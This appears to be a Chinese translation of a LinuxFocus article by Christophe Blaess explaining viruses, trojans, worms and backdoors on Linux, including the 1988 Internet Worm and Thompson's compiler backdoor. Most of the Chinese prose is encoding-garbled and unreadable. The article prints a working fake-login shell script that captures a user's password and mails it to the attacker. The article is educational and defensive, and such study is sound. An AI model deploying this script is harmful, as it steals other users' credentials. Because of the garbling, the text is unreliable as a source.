|
![]() |
|
![]() by Christophe Blaess (homepage) ¹ØÓÚ×÷Õß: Christophe BlaessÊÇһλ¶ÀÁ¢µÄº½¿Õ¹¤³Ìʦ¡£ËûÊÇLinuxÃÔ£¬²¢ÇÒËûµÄ´óÁ¿¹¤×÷¶¼ÔÚÆäÉÏÍê³É¡£Ëû¸ºÔðе÷Linux Documentation Project·¢²¼µÄmanÒ³µÄ·Ò빤×÷¡£ Ŀ¼: |
ÕªÒª:
±¾ÎÄ×î³õ·¢±íÔÚLinux Magazine France¹ØÓÚ°²È«µÄÌØ¼ÉÏ¡£±à¼¡¢×÷ÕßÒÔ¼°·ÒëÕß¶¼Ë¬¿ìµØÓ¦ÔÊÁËLinuxFocus¿ÉÒÔ·¢±í¸ÃÌØ¼ÉϵÄÿƪÎÄÕ¡£Òò´Ë£¬Ò»µ©½«ËüÃÇ·Òë³ÉÓ¢ÎÄ£¬LinuxFocus¾Í»á¼°Ê±Õ¹ÏÖ¸øÄãÃÇ¡£¸ÐлËùÓвÎÓë´ËÏ×÷µÄÈËÔ±¡£ÒÔºó¶ÔÓÚͬÑù³ö´¦µÄÿƪÎÄÕ£¬¸ÃÕªÒª¿ÉÒÔÖØ¸´Ê¹Óá£
±¾ÎĽ«¶ÔÒòÈëÇÖÈí¼þ¶øµ¼ÖÂÔÚLinuxϵͳÉϳöÏÖµÄÄÚ²¿°²È«ÎÊÌâ½øÐÐÆÀÊö¡£ÕâÀàÈí¼þ¿ÉÒÔÔÚÎÞÈ˸ÉÔ¤ÏÂÊµÊ©ÆÆ»µ£º²¡¶¾¡¢È䳿¡¢ÌØÂåÒÁľÂíµÈµÈ¡£ÎÒÃǽ«ÉîÈëÌÖÂÛ¸÷ÖÖ©¶´£¬Ôڴ˵ãÉÏÖ÷Ҫǿµ÷×ÔÓÉÈí¼þµÄµÃÓëʧ¡£
ͨ³£ÓÐËÄÖÖ½ØÈ»²»Í¬ÀàÐ͵ÄÍþв£¬²»¹ýÓû§¾³£»ìÏýËüÃÇ£¬ÕâÖ÷ÒªÊÇÒòΪһ´Î¹¥»÷µÄ·¢ÉúÍùÍùÊǸ÷ÖÖ»úÖÆÍ¬Ê±×÷ÓõĽá¹û£º
¶ÔËüÃǼÓÒÔ·ÖÀàͨ³£²»ÄÇôÈÝÒ×£»ÀýÈ磬ÓÐЩ³ÌÐòÔÚijЩ¹Û²âÕß¿´À´ÊDz¡¶¾£¬µ«ÆäËüÈËÈ´ÈÏΪËüÃÇÊÇÈ䳿£¬Òª×ö³ö×îÖյľö²ßÊÇÊ®·Ö¼¬Êֵġ£²»¹ý¶ÔÓÚ±¾ÎÄËùÉæ¼°µÄ·¶Î§À´Ëµ£¬Õâµ¹²¢²»ºÜÖØÒª£¬±¾ÎÄÒâÔÚ²ûÃ÷ÄÄÖÖÍþв»áΣ¼°Linuxϵͳ¡£
ÓëÆÕ±é¿´·¨ÕýÏà·´µÄÊÇ£¬ÕâËÄÖÖ»öº¦ÆäʵÒѾ¶¼´æÔÚÓÚLinuxÉÏÁË¡£µ±È»£¬²¡¶¾µÄ´«²¥»·¾³²»ÏñÔÚÈçDOSÏÂÄÇôÓÐÀû£¬µ«ÏÖÓеÄÍþвÒ಻ÈÝСÊÓ¡£¾ÍÈÃÎÒÃÇ·ÖÎöÒ»ÏÂÓÐÄÄЩ·çÏÕ¡£
DZÔÚµÄÍþв²¡¶¾ÊÇһС¶Î°²ÖÃÔÚij¸öËÞÖ÷³ÌÐòºËÐÄλÖõĴúÂ룬ËüÄܹ»Í¨¹ý¸ÐȾеÄÖ´ÐÐÎļþÀ´×ÔÎÒ¸´ÖÆ¡£²¡¶¾×îÔç³öÏÖÓÚ70Äê´ú£¬µ±Ê±µÄ³ÌÐòÔ±ÔÚÍæÒ»¸ö½Ð×ö"core war"µÄÓÎÏ·¡£Õâ¸öÓÎÏ·À´×ÔÓÚBell AT&T laboratories[MARSDEN 00]¡£ÆäÄ¿±êÊÇÔÚÓÐÏÞµÄÄÚ´æÇøÓòÀï²¢ÐÐÔËÐУ¬Ð¡³ÌÐòÄܹ»»¥ÏàÆÆ»µ¡£²Ù×÷ϵͳûÓÐÌṩ³ÌÐòÄÚ´æÇøÓòÖ®¼äµÄ±£»¤£¬ÕâÑù¾ÍÔÊÐíÏ໥½ø¹¥ÒÔÏûÃð¶ÔÊÖ¡£Îª´Ë£¬ÓÐЩÈËʹÓÃ'0'À´¡°ºäÕ¨¡±×î´ó¿ÉÄܵÄÄÚ´æÇøÓò£¬Óë´Ëͬʱ£¬ÆäËüһЩÈËÓÀÔ¶ÔÚµØÖ·¿Õ¼äÖÐÒÆ¶¯£¬Ï£Íû¸²¸Çµô¶ÔÊֵĴúÂ룬ÓÐʱ£¬ËûÃÇÖеÄһЩ»áÁªºÏÆðÀ´ÏûÃðij¸öÄѶԸ¶µÄ¡°µÐÈË¡±¡£
ʵÏÖ¸ÃÓÎÏ·µÄËã·¨±»·Òë³ÉÒ»ÃÅÌØ±ðΪÆä´´½¨µÄ»ã±àÓïÑÔ¡°red code¡±£¬Ëüͨ¹ý¾ø´ó¶àÊýÏÖÓлúÆ÷ÉϵķÂÕæÆ÷À´Ö´ÐС£ÓÎÏ·ÖеÄÀÖȤ¸ü¶àÔ´ÓÚ¿ÆÑ§µÄºÃÆæ£¬¾ÍÈç¶Ôthe Life of Conway Game£¬²»¹æÔòË鯬ÐκÍÒÅ´«Ëã·¨µÈµÄ¿ñÈÈÒ»Ñù¡£
²»¹ý£¬Ëæ×ŹØÓÚcore warµÄÎÄÕ·¢±íÔÚScientific American[DEWDNEY 84]ÉÏ£¬²»¿É±ÜÃâµÄÊ·¢ÉúÁË£¬ÓÐЩÈË¿ªÊ¼±àдС¶ÎµÄ×ÔÎÒ¸´ÖƵĴúÂ룬ÕâЩ´úÂëÌØ±ðÕë¶ÔÓÚÈíÇýÆô¶¯ÉÈÇø»òÕß¿ÉÖ´ÐÐÎļþ¡£Æð³õÊÇÔÚApple ][¼ÆËã»úÉϳöÏÖ£¬½ÓÏÂÀ´¾Íµ½ÁËMacIntoshºÍPCµÄ¼ÆËã»úÉÏ¡£
MS DOS²Ù×÷ϵͳ³ÉΪÁ˲¡¶¾·±Ö³»·¾³µÄ¾ø¼Ñ֮ѡ£º¾²Ì¬¿ÉÖ´ÐÐÎļþÓÐ×ÅÖÚËùÖÜÖªµÄ¸ñʽ£¬Ã»ÓÐÄÚ´æ±£»¤£¬Ã»ÓлùÓÚÎļþ´æÈ¡È¨Ï޵ݲȫÉèÖ㬹㷺µØÔÚÄÚ´æÖжѵþʹÓÃTSR³£×¤³ÌÐò£¬µÈµÈ¡£ÎÒÃDZØÐ뻹¼ÓÉÏÒ»ÌõÓû§ÐÄÀí״̬µÄÒòËØ£¬ËûÃÇ·è¿ñµØÓÃÈíÅ̽»»»¿ÉÖ´ÐгÌÐòÉõ¶øºÁ²»¿¼ÂÇÎļþµÄÀ´Ô´¡£
ÔÚ×î¼òµ¥µÄģʽÖУ¬²¡¶¾¾ÍÊÇһС¶Î´úÂ룬Ëü¿ÉÒÔÔÚÆô¶¯Ò»ÏîÓ¦ÓóÌÐòʱ×÷Ϊ¸½¼þÖ´ÐС£Ëü½«ÀûÓÃÕâ¶Îʱ¼äÀ´²éÕÒÆäËüÉÐδ¸ÐȾµÄ¿ÉÖ´ÐÐÎļþ£¬½«Æä×ÔÉíÄÚǶÈëÕâЩÎļþÖУ¨ÒªÊÇ¿¼ÂÇÔÙÖܵ½Ò»Ð©£¬×îºÃ±£³ÖÔ³ÌÐò²»×÷Ð޸쩲¢Í˳ö¡£Ò»µ©Æô¶¯ÐµĿÉÖ´ÐÐÎļþʱ£¬½ø³Ì¼´»áÖØÐÂÆô¶¯¡£
µÃÒæÓÚ´óÁ¿¡°ÀûÆ÷¡±µÄÐÖú£¬²¡¶¾¿ÉÒÔ×Ô¶¯¸´ÖÆ×ÔÉí¡£ÔÚ[LUDWIG 91]ºÍ[LUDWIG 93]ÖУ¬ÓйØÓÚfor DOS²¡¶¾µÄÏêϸÃèÊö£¬ËüÃÇʹÓùîÃØµÄÒþÉíÊõÒÔ±£³ÖÁìÏÈÓÚµ±Ç°µÄɱ¶¾Èí¼þ£ºËæ»ú¼ÓÃÜ£¬´úÂëÓÀ¾Ã±ä»¯µÈµÈ¡£ÄãÉõÖÁ¿ÉÄÜÓöµ½Ê¹ÓÃÒÅ´«Ëã·¨À´ÓÅ»¯ÆäÉú´æÆÚºÍ·±Ö³ÄÜÁ¦µÄ²¡¶¾¡£Ïà¹ØµÄÐÅÏ¢Äã¿ÉÒÔÔÚÒÔÏÂÕâÆª·Ç³£ÖøÃûµÄÎĵµÖÐÕÒµ½£º[SPAFFORD 94].
¶øÎÒÃDZØÐëÀμÇÓÚÐĵÄÊǼÆËã»ú²¡¶¾ÒѾ³¬Ô½ÁËÐéÄâÉú»îÖÐÊÔÑéµÄÖ÷ÌⷶΧ£¬Ëü¿ÉÒÔÔì³É´óÃæ»ýµÄË𺦡£Ò»Ð¡¶Î´úÂëµÄ¶àÖØ¸´ÖƱ¾Öʲ»¹ýÊǿռäµÄÀË·Ñ£¨´ÅÅ̺ÍÄڴ棩£¬¶ø²¡¶¾Ôò¿ÉÒÔ´Ë×÷Ϊ֧³Å¡ª¡ªÔËÊ乤¾ß¡ª¡ªÀ´·þÎñÓÚÆäËü¸ü¼ÓÁîÈ˲»¿ìµÄ¶«Î÷£ºÂß¼Õ¨µ¯£¬ÎÒÃǽ«ÔÚÌØÂåÒÁľÂíÖÐÔÙ´Î̸µ½Ëü¡£
±»Î§À§µÄÌØÂåÒÁÈË×÷ÁËÒ»¸öÔã¸âµÄ¾ö¶¨£¬ËûÃǽ«´óÁ¿±»Ï£À°¹¥»÷Õß×÷Ϊ×ڽ̼ÀÆ·¶øÒÅÆúµÄľÂíµñÏñ·Å½øÁ˳ǡ£ÕæÕýµÄÍ»»÷¶Ó¾Í²ØÔÚÌØÂåÒÁľÂíµÄ²à²¿£¬´ýµ½ËûÃÇÒ»µ©ÉøÈë³ÇÄÚ£¬±ãÀûÓÃҹĻÑÚ»¤´ÓÀïÃæ¹¥»÷³Ç³Ø£¬ÕâÑùʹµÃÏ£À°ÈË×îÖÕÓ®µÃÁËÌØÂåÒÁÕ½ÕùµÄʤÀû¡£
ÖøÃûµÄ¡°ÌØÂåÒÁľÂí¡±³£±»ÓÃ×÷¼ÆËã»ú°²È«ÁìÓòµÄרÃÅÊõÓï,Ëü±íʾһ¸ö¿´ËÆÎÞº¦µÄÓ¦ÓóÌÐò£¬¾ÍÈçÉÏÃæÌáµ½µÄ²¡¶¾Ò»Ñù£¬´«²¥ÆÆ»µÐԵĴúÂëÂß¼Õ¨µ¯¡£
Âß¼Õ¨µ¯ÊÇÒ»¶Î¶ñÒâÉ˺¦µÄ³ÌÐò£¬Ëü¾ß±¸¸÷ÖÖåÄÒìµÄЧÁ¦£º
Âß¼Õ¨µ¯Ò²¿ÉÒÔÊÔͼÔÚÎïÀíÉÏÆÆ»µÆäפÁôµÄϵͳ¡£ÕâÖÖ¿ÉÄÜÐÔËäÈ»²»´ó£¬µ«ÊÇȷʵ´æÔÚ£¨É¾³ýCMOS´æ´¢Æ÷ÄÚÈÝ£¬ÐÞ¸ÄmodemÉÁ´æÄÚÈÝ£¬´òÓ¡»ú¡¢»æÍ¼ÒÇ¡¢É¨ÃèÒǵÄÍ·²¿»ÙÃðÐÔµÄÒÆ¶¯£¬Ó²Å̶Á´ÅÍ·µÄ¼ÓËÙÔËת...£©
ÌÈÈô¼ÌÐø°´ÕÕ¡°Õ¨µ¯¡±µÄ±ÈÓ÷ÃèÊö£¬ÎÒÃÇ¿ÉÒÔ˵Âß¼Õ¨µ¯ÐèÒªÀ×¹ÜÀ´Òý±¬¡£Êµ¼ÊÉÏ£¬¾ÍЧÂʶøÑÔ£¬ÌØÂåÒÁľÂí»ò²¡¶¾ÔÚÊ×´ÎÆô¶¯Ê±¾ÍÖ´ÐÐÆÆ»µÐԵIJÙ×÷ÊÇÒ»¸ö²»ºÃµÄ²ßÂÔ¡£ÔÚ°²×°ÁËÂß¼Õ¨µ¯Ö®ºó£¬×îºÃÊǵȴýÒ»»áÔÙ±¬Õ¨¡£¶ÔÓÚ²¡¶¾´«²¥À´Ëµ£¬Õâ¿ÉÒÔÔö¼ÓÆäÔÚÆäËüϵͳÖд«²¥µÄ¡°»ú»á¡±£»¶ø¾ÍÌØÂåÒÁľÂíÀ´Ëµ£¬Ôò¿ÉÒÔ²»ÈÃÓû§Ì«ÈÝÒ×·¢ÏÖеÄÓ¦ÓóÌÐò°²×°ÓëËû»úÆ÷ÉϵÄÒì³£ÏÖÏóÖ®¼äµÄÁªÏµ¡£
¾ÍÏñÈκκ¦ÈËÖ®¾ÙÒ»Ñù£¬·¢×÷»úÖÆÒ²ÊǸ÷Óв»Í¬£º°²×°ºóÑÓ³ÙÊ®Ì죬ɾ³ýÌØ¶¨Óû§Õʺţ¨ÁÙʱɾ³ý£©£¬¼üÅ̺ÍÊó±êÍ£Ö¹»î¶¯30·ÖÖÓ£¬´òÓ¡»ú¶ÓÁеĸ߸ºÔØ...ÎÞËù²»È±!×îÓÐÃûµÄÌØÂåÒÁľÂíÊÇÆÁÄ»±£»¤³ÌÐò£¬¾¡¹Ü½ñÌì¿´À´ÕâÓеãÌ«ÀÏÌס£ÔÚÓÕÈ˵ÄÍâ±íÏ£¬ÕâЩ³ÌÐòÄܹ»²»ÊܸÉÈŵØÊµÊ©ÆÆ»µ£¬ÌرðÊÇÈç¹ûÂß¼Õ¨µ¯Ç¡ÔÚһСʱ֮ºóÒý±¬£¬ÄÇô¼¸ºõ¿ÉÒԿ϶¨Óû§´ËʱÒѾ²»ÔÚ¼ÆËã»úÇ°ÃæÁË¡£
ÁíÒ»¸öÌØÂåÒÁľÂíµÄÖøÃûÀý×ÓÊÇÏÂÃæÕâ¸ö½Å±¾£¬ËüÏÔʾһ¸öµÇ¼/ÃÜÂ루login/password£©ÆÁÄ»£¬²¢·¢ËÍÐÅÏ¢¸øÆô¶¯³ÌÐòµÄÈËÈ»ºóÍ˳ö¡£ÈôËü¹¤×÷ÓÚδʹÓõÄÖÕ¶Ë£¬¸Ã½Å±¾½«»á·ý»ñϸö³¢ÊÔÁ¬½ÓµÄÓû§µÄÃÜÂë¡£
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
Ϊʹ֮ÔÚÍê³ÉÒÔºó¶Ï¿ªÁ¬½Ó£¬Ëü±ØÐëÓÃshellÃüÁîexec
Æô¶¯¡£µ±Êܺ¦Õß¿´µ½"Login incorrect"ÏûϢʱ£¬»áÒÔΪ×Ô¼ºÊäÈë´íÎó£¬ËûÃÇ»áÒÔ³£¹æµÄ·½·¨³¢ÊÔÔÙ´ÎÁ¬½Ó¡£¸üΪ¸ß¼¶µÄ°æ±¾Äܹ»Ä£ÄâX11Á¬½Ó¶Ô»°¿ò¡£ÎªÁ˱ÜÃâÂäÈëÕâÖÖȦÌ×£¬×îºÃÊÇÏÈÔÚÖÕ¶ËÉÏʹÓÃÒ»¸ö´íÎóµÄµÇ¼/ÃÜÂ루ÕâÖÖ·½·¨·´ÆäµÀ¶øÐÐÖ®£¬Ê®·ÖÈÝÒ×¶øÇҺܿì¾ÍÄÜѧ»á£©¡£
"Worms"³ö×ÔÓÚÓ벡¶¾Ò»ÑùµÄÔÀí¡£ËüÃÇÊÇÒ»ÖÖ³¢ÊÔ¸´ÖÆ×ÔÉíÒÔ¾¡¿ÉÄÜ´«²¥µÃ×î¹ãµÄ³ÌÐò¡£ËüÃÇÒ²¿ÉÒÔЯ´øÒ»Ã¶×°±¸ÁËÑÓ³Ù´¥·¢Æ÷µÄÂß¼Õ¨µ¯£¬¾¡¹ÜÕâ²¢·ÇÆäÖ÷Òª¹¦ÄÜ¡£È䳿Ó벡¶¾µÄ²î±ðÔÚÓÚÈ䳿²»Ê¹ÓÃËÞÖ÷³ÌÐò×÷Ϊ´«²¥Ã½½é£¬ËüÃÇÊÔͼµÃÒæÓÚÓÉÍøÂçÌṩµÄ¹¦ÄÜ£¬ÀýÈçµç×ÓÓʼþÀ´´Óһ̨»úÆ÷´«µ½Áíһ̨»úÆ÷¡£
È䳿µÄ¼¼ÊõµÈ¼¶Ï൱¸ß£»ËüÃÇÀûÓÃÌá¹©ÍøÂç·þÎñµÄÈí¼þµÄ©¶´À´´ÙʹÆäÔÚÔ¶³Ì»úÆ÷ÉÏ×ÔÎÒ¸´ÖÆ¡£ÆäÔÐÍÊÇ1988"Internet Worm"¡£
Internet WormÊÇÒ»¸ö´¿È䳿µÄÀý×Ó£¬Ã»Óаüº¬Âß¼Õ¨µ¯£¬²»¹ýÆä²»Â¶ÉùÉ«µÄÆÆ»µÐ§¹ûÊ®·Ö¿ÉÅ¡£Äã¿ÉÒÔÔÚ[KEHOE 92]ÉÏÕÒµ½¶ÔÆä¼ò¶Ì¶ø¾«µ½µÄÃèÊö£¬»òÕßÔÚ[SPAFFORD 88]»ò[EICHIN 89]ÉÏÕÒµ½ÏêϸµÄ·ÖÎö±¨¸æ¡£
¼ò¶øÑÔÖ®£¬È䳿³ÌÐòµÄ×÷ÕßÊÇRobert Morris Jr£¬Ëûµ±Ê±ÊÇCornell´óѧµÄѧÉú£¬²¢ÒѾÒòΪһƪ¹ØÓÚÍøÂçÐÒéÖеݲȫÎÊÌâµÄÎÄÕÂ[MORRIS 85]¶øÐ¡ÓÐÃûÆø¡£Ëû±ãÊÇÔÚNCSC£¨NSAµÄ·ÖÖ§²¿ÃÅ£©Òò¼ÆËã»ú°²È«¶ø±»Ö¸¿ØµÄÄǸöÈË¡£³ÌÐòÊÇÔÚ1988Äê11ÔÂ2ÈÕ°øÍí·¢²¼µÄ£¬²¢ÇÒµ¼ÖÂÁ¬½Óµ½InternetÉϵľø´ó¶àÊýϵͳֹͣÔËÐС£ËüµÄ¹¤×÷²½ÖèÈçÏ£º
netstat
À´Ìṩ¹ØÓÚÍøÂç½Ó¿ÚµÄÐÅÏ¢¡£/etc/passwd
£©ÖУ¬ÕâÑù±ã¿ÉÒÔ´ÓijЩÓû§¶ÔÃÜÂëµÄÔã¸âÑ¡ÔñÖлñÒæ¡£µÚÒ»¸ö©¶´ÏÖÔÚÒѾͨ¹ýʹÓÃshadow passwords»ñµÃ½â¾ö¡£~/.rhost
ºÍ/etc/hosts.equiv
Îļþ¡£ÔÚÄÇÖÖÇé¿öÏ£¬ÔÙʹÓÃrsh
À´ÔÚÔ¶³Ì»úÆ÷ÉÏÖ´ÐÐÖ¸Áî¡£ÕâÑù£¬¾ÍÄܽ«Æä×ÔÉí¸´ÖÆµ½ÐµÄÖ÷»úÉϲ¢ÇÒÑ»·ÔٴοªÊ¼¡£fingerd
»º´æÒç³ö©¶´¡££¨¼ì²éÎÒÃǹØÓÚ°²È«±à³ÌµÄϵÁÐÎÄÕ£ºAvoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows¡££©sendmail
ÊØ»¤½ø³ÌÖм¤»î£¬ÔÊÐíÓʼþ·¢ËÍ×îÖÕ´«ÊäµÄÄÚÈݵ½³ÌÐòÖ¸¶¨×÷ΪĿ±êµÄ±ê×¼Êä³öÉÏ¡£¸ÃÑ¡ÏîÔÚÔËÐлúÆ÷ÉÏÓ¦¸ÃÓÀÔ¶²»±»¼¤»î£¬µ«ÊÇ£¬²»ÐÒµØÊÇ£¬¾ø´ó¶àÊýϵͳ¹ÜÀíÔ±ºöÊÓÁËËüµÄ´æÔÚ¡£ÎÒÃÇӦעÒâµÄÊÇÒ»µ©È䳿Äܹ»ÔÚÔ¶³Ì»úÆ÷ÉÏÖ´ÐÐһЩָÁÄÇô¸´ÖÆ×ÔÉíµÄ·½·¨ÊÇÏ൱¸´Ôӵġ£ËüÐèÒª´«ÊäÒ»¸öСµÄC³ÌÐò£¬ÔÚÏÖ³¡ÖØÐ±àÒ룬ȻºóÆô¶¯¡£½Ó×Å£¬Ëü½¨Á¢Ò»ÌõTCP/IPÁ¬½ÓÀ´Æô¶¯¼ÆËã»ú²¢È¡»ØËùÓÐÈ䳿µÄ¶þ½øÖƳÌÐò´úÂë¡£ÄÇЩ×îÖյĺÍÔ¤±àÒëµÄÈ䳿´úÂëÏÖ´æÓÚ¸÷ÖÖÌåϵ½á¹¹(VaxºÍSun),¶øÇÒÏà¼Ì¶¼×÷Á˲âÊÔ¡£´ËÍ⣬È䳿·Ç³£ÉÆÓÚÒþ²Ø×ÔÉí£¬ÕâÈÃÄãÎÞ¼£¿ÉѰ¡£
²»ÐÒµØÊÇ£¬×èÖ¹¼ÆËã»ú¸ÐȾÈ䳿µÄ»úÖÆ²¢·Ç×ÜÄÜÈçÔ¸µØÆð×÷Ó㬶øÇÒ²»°üº¬Âß¼Õ¨µ¯µÄInternet 88È䳿µÄº¦´¦¾ÍÔÚÓÚµ¼ÖÂËù¸ÐȾϵͳµÄ¼«¶È¹ýÔØ£¨ÌرðÊǶÔÓʼþµÄ×èÈû£¬ÕâÒýÆðÓʼþÌá½»µÄÑÓ³Ù£©¡£
È䳿µÄ×÷ÕßÔø¾ÔÚ¼àÓüÖдô¹ýÒ»¶Îʱ¼ä¡£ÓÉÓÚÆä¸´ÔÓÐÔ£¬È䳿Ïà¶ÔҪϡÉÙһЩ¡£Ò»¶¨²»Òª½«ËüÃÇÓë±ðµÄÀàÐ͵ÄÍþв£¬Ïñ×÷Ϊµç×ÓÓʼþ¸½¼þ´«ÊäµÄ²¡¶¾ÈçÖøÃûµÄ"ILoveYou"Ïà»ìÏý¡£ÄÇЩ¶¼ÊÇÊ®·Ö¼òµ¥µÄ£¬ËüÃDz»¹ýÊÇÓúê±àдµÄ£¨ÔÚBasicÖУ©¿ÉÖ´ÐгÌÐòÒÔÔÚÔĶÁÓʼþʱ×Ô¶¯Æô¶¯¡£ÕâÖ»¶ÔijЩ²Ù×÷ϵͳÓÐЧ£¬ÀýÈçµ±ÓʼþÔĶÁÆ÷ÅäÖõÃÌ«¼òµ¥Ê±¡£ÕâЩ³ÌÐò¸üÏñÌØÂåÒÁľÂí£¬¶ø·ÇÈ䳿£¬ÒòΪËüÃǶ¼ÒªÇóÓû§µÄ²Ù×÷À´Æô¶¯³ÌÐò¡£
¿ÉÒÔÄúóÃųÌÐòÓëÌØÂåÒÁľÂí×÷±È½Ï£¬²»¹ýËüÃDz¢²»Ïàͬ¡£Ò»¸öºóÃųÌÐòÔÊÐí£¨¡°¸ß¼¶¡±£©Óû§²Ù×÷Èí¼þÀ´ÐÞ¸ÄÆäÐÐΪ¡£Ëü¿ÉÓëÓÎÏ·ÖÐÓÃÀ´»ñÈ¡¸ü¶à×ÊÔ´£¬»ò´ïµ½¸ü¸ß¼¶±ðµÈÄ¿±êµÄÆÛÆ´úÂëÏàÌá²¢ÂÛ¡£Ö»ÊÇÕâҲͬÑùÊÊÓÃÓڹؼüµÄÓ¦ÓóÌÐò£¬ÈçÁ¬½ÓÈÏÖ¤³ÌÐò»òµç×ÓÓʼþ£¬ÒòΪËüÃÇ¿ÉÒÔ¶ÔÃÜÂë½øÐÐÒþ²Ø·ÃÎÊ£¬¸ÃÃÜÂë½öÓÐÈí¼þµÄ´´½¨ÕßÖªÏþ¡£
³ÌÐòԱϣÍû¼õÇáµ÷ÊԽ׶εŤ×÷£¬Òò´Ë³£³£ÁôÓÐÒ»¸öСµÄºóÃÅ¿ª·ÅÒÔʹ֮Äܹ»ÎÞÐè¾¹ýÈÏÖ¤»úÖÆ¶øÖ±½ÓʹÓÃÈí¼þ£¬¼´Ê¹µ±Ó¦ÓóÌÐòÒѾ°²×°ÔÚ¿Í»§¶ËʱҲÊÇÈç´Ë¡£ÓÐʱËüÃÇʹÓÃĬÈÏÃÜÂ루system
,admin
, superuser
µÈµÈ£©ÊÇÕýʽµÄ·ÃÎÊÉèÖ㬲»¹ýÕâЩÃÜÂ벢ûÓÐÔÚÎĵµÖÐ×Ðϸ¼ÇÔØ£¬½á¹û¹ÜÀíÔ±ÈÔ¾ÉÈÃÆä¿ª×Å¡£
¼ÇµÃ²»Í¬µÄÒþ²ØµÄ·ÃÎÊÈë¿ÚÊÇÔÚ"Wargame"µçÓ°ÖвÅÔÊÐí·ÅÔÚºÍϵͳÄÚºËÒ»ÆðÌÖÂ۵쬲»¹ýÄãÒ²¿ÉÒÔÕÒµ½¹ØÓÚ´ËÀàʵ¼ùµÄ¸üÔ籨µÀ¡£ÔÚһƪÄÑÒÔÖÃÐŵÄÎÄÕÂ[THOMPSON 84]ÖУ¬UnixÖ®¸¸ÆäÖеÄһλKen ThompsonÃèÊöÁËËûÓÚÊýÄêǰÔÚUnixϵͳÉÏʵÏÖµÄÒþ²ØµÄ·ÃÎÊÈë¿Ú£º
/bin/login
Ó¦ÓóÌÐòÒÔÄÚǶһС¶Î´úÂ룬ͨ¹ýÊäÈëÔ¤ÏȱàÒëºÃµÄÓ²±àÂëµÄÃÜÂ루²»Ð뿼ÂÇ/etc/passwd
£©¿ÉÌṩ¶ÔϵͳµÄÖ±½Ó·ÃÎÊ¡£ÕâÑù£¬ThompsonÄܹ»Ê¹ÓÃÕâ¸ölogin
°æ±¾·ÃÎÊÿ¸öϵͳ¡£login.c
µÄÔ´ÂëÔÚUnixϵͳÉϹ«²¼£¬ÕâÑùÿ¸öÈ˶¼ÄܶÁÈ¡·ý»ñµÄ´úÂë¡£Òò´Ë£¬ThompsonÌṩÁ˸ɾ»µÄ²»´ø·ÃÎʺóÃŵÄlogin.c
¡£login.c
À´É¾³ý·ý»ñÁ˵İ汾¡£ÓÚÊÇ£¬ThompsonÐÞ¸ÄÁ˱ê×¼C±àÒëÆ÷ÒÔʹ֮Äܹ»ÔÚ×¢Ò⵽ijÈËÊÔͼ±àÒëlogin.c
ʱÌí¼ÓºóÃÅ¡£cc.c
ÓÖ³öÏÖÁË£¬ÕâÑùÿ¸öÈ˶¼ÄܶÁÈ¡»òÕßÖØÐ±àÒë±àÒëÆ÷¡£Îª´Ë£¬ThompsonÌṩÁ˸ɾ»µÄ±àÒëÆ÷Ô´´úÂ룬µ«ÊÇÒѾ´¦Àí¹ýµÄ¶þ½øÖÆÎļþÄܹ»Ê¶±ð×Ô¼ºµÄÔ´Îļþ£¬ÄÇô»¹Êǰüº¬ÁËÓÃÀ´¸ÐȾlogin.c
µÄ´úÂë...ÔõÑù½â¾öÕâ¸öÎÊÌ⣿¿È£¬ºÁÎÞ°ì·¨£¡Î¨Ò»µÄ·½·¨¾ÍÊÇʹÓÃÒ»¸öȫеÄÏµÍ³ÖØÐÂÆô¶¯¡£³ý·ÇÄãÔÚ°²×°»úÆ÷ʱ´ÓÍ·´´½¨ËùÓеÄ΢´úÂ룬²Ù×÷ϵͳ£¬±àÒëÆ÷£¬ÊµÓù¤¾ß£¬·ñÔòÄãÎÞ·¨È·¶¨Ã¿¸öÓ¦ÓóÌÐò¶¼ÊǸɾ»µÄ£¬¼´Ê¹ÊÇÄÇЩÓÐÔ´ÂëµÄ³ÌÐò¡£
ÎÒÃdzÊÏÖÁËÈκÎϵͳÉϵÄÖ÷Òª·çÏÕ¡£ÏÖÔÚ£¬ÈÃÎÒÃÇÀ´¿´¿´Óë×ÔÓÉÈí¼þºÍLinuxÏà¹ØµÄÍþв¡£
Ê×ÏÈ£¬ÈÃÎÒÃÇ¿´¿´µ±Âß¼Õ¨µ¯ÔÚLinux»úÆ÷ÉÏÖ´ÐÐʱÄÜ´øÀ´ÔõÑùµÄΣº¦¡£ÏÔ¶øÒ×¼û£¬ÕâÒÀÀµÓÚËùÏ£Íû´ïµ½µÄЧ¹ûºÍÆô¶¯ËüµÄÓû§Éí·ÝµÄÌØÈ¨¡£
ÖÁÓÚÂÛ¼°ÏµÍ³ÎļþµÄË𻵻òÕß»úÃÜÊý¾ÝµÄ¶ÁÈ¡£¬ÎÒÃÇ»áÓÐÁ½ÖÖÇéÐΡ£Èç¹ûÕ¨µ¯ÒÔrootÉí·ÝÖ´ÐУ¬Ëü»áÓµÓÐÔÚ»úÆ÷ÉϵÄ×î¸ßȨÁ¦£¬°üÀ¨É¾³ýÿ¸ö·ÖÇøÒÔÖÁÈçÉÏÃæËùÌáµ½µÄÒ»Ñù¸øÓ²¼þÔì³ÉÓÀ¾ÃµÄÉ˺¦¡£Èç¹ûËüÊÇÔÚÈÎºÎÆäËüÓû§Éí·ÝÏÂÆô¶¯£¬ÄÇôËüËùÔì³ÉµÄÆÆ»µ²»»á³¬³öÓû§µÄȨÏÞÖ®Íâ¡£ËüÖ»ÄÜÆÆ»µÊôÓÚ¸ÃÓû§µÄÊý¾Ý¡£ÔÚ´ËÖÖÇéÐÎÏ£¬Ã¿¸öÈ˹ÜÀíËû×Ô¼ºµÄÎļþ¡£Ò»¸ö¾¡Ö°µÄϵͳ¹ÜÀíÔ±ÒÔrootÉí·ÝÖ»ÔËÐкÜÉÙµÄÈÎÎñ£¬ÕâÑù¿ÉÒÔ¼õÉÙÔÚ¸ÃÕ˺ÅÏÂÆô¶¯Âß¼Õ¨µ¯µÄ¿ÉÄÜÐÔ¡£
